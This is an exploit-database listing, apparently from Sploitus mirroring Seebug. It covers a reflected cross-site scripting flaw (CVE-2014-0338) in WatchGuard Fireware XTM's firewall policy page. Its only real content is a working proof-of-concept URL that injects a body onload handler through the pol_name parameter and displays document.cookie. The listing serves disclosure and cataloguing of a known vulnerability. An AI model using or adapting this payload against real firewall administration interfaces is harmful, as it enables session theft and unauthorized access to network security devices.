Sploitus

Exploit for WatchGuard Fireware XTM 'poll_name'参数跨站脚本漏洞

CVE-2014-0338

seebug · 2014-03-17

Exploit Code

MARKDOWN3 lines
## https://sploitus.com/exploit?id=SSV:61820
https://10.200.210.100:8080/firewall/policy?pol_name=qqq";><body
onload=alert(document.cookie)>&service=Any&is_new=1